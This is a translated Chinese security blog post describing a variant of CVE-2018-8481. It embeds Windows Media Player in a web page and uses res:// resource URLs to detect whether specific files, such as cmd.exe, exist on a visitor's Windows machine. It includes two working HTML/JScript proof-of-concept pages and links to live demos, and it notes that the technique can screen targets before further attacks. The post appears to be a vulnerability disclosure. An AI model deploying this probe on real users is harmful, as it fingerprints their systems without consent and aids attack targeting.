在网页中通过调用Windows Media Player来探测特定文件
首先,我将要提出的这种方法,其实是CVE-2018-8481的变种:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8481
假设攻击者想要探测目标机器的C:\windows\system32
文件夹中是否存在的cmd.exe
文件。 那么,我们就可以利用javascript调用Windows Media Player(wmplayer.exe)来加载这个文件,文件存在与否会影响播放器的行为模式。其中利用代码中的"res:"代表资源,表示Internet Explorer从二进制文件加载内部资源。具体格式为:res://resourcefile.ext/resourceitem
所有二进制文件的文件信息都可以在resource/16/1
中找到。
res://filename/16/1
其中16=RT_VERSION,具体说明可在微软的网址https://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx.aspx)中找到。这个16可以视为一个常量值,不用经常更改,代表所有二进制文件中的资源。
默认情况下,浏览器会假定所需资源文件位于C:\windows\system32
中,但我们可以请求系任何路径上的文件。
如果要检测Windows Media Player本身是否存在,我们可以利用:
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1
为了更加进行比对,我们可以特意请求一个不存在的exe文件,看两者的请求结果。
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1
以上两个资源请求对应以下两个PoC:
<b> res://C:\Program Files\Windows Media Player\wmplayer.exe/16/1 </b>
<br>
<br>
<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1">
<param name="captioningID" value="displaylyric" />
<PARAM NAME="autoStart" VALUE="True">
</object>
<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>
if(Player.error.item(0).errorDescription.length==189){
alert("Click the play button");
}
else
{
alert("Click the play button");
}
</script>
以下时请求不存在的文件的PoC,注意文件的后缀是不存在的ex
:
<b> res://C:\Program Files\Windows Media Player\wmplayer.ex/16/1 </b>
<br>
<br>
<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1">
<param name="captioningID" value="displaylyric" />
<PARAM NAME="autoStart" VALUE="True">
</object>
<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>
if(Player.error.item(0).errorDesc ription.length==189){
alert("Click the play button");
}
else
{
alert("Click the play button");
}
</script>
而这两个页面在实际操作中最明显的区别就是:当请求不存在的文件时,Windows Media Player会展示“正在打开媒体”;而请求存在的文件时,则不存在这种现象。这也导致这两种情况有一定的时间差。
现在,让我们实际操作一下。我已经做出两个页面来展示我们如何探测特定文件的存在与否,我们以cmd.exe
作为目标。
当探测的文件存在时:https://pwning.click/Tdiff.php
当探测的文件不存在时:https://pwning.click/Tdiff2.php
当访问第一个网址https://pwning.click/Tdiff.php时,我们可以看到Windows Media Player播放器。
此时点击播放按钮,我们可以看到播放器上什么字符都没有。
当访问第二个网址https://pwning.click/Tdiff2.php时,我们也同样可以看到Windows Media Player播放器,而此时点击播放按钮时,我们可以看到“正在打开媒体”。
把这种方法加以改进,我们可以批量筛选存在特定文件的目标,方便我们进行下一步攻击。
以上就是这个方法的简单介绍,更为详细的说明我将在漏洞修复后放出。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.naver.com/windowsrcer/221506942781
最新评论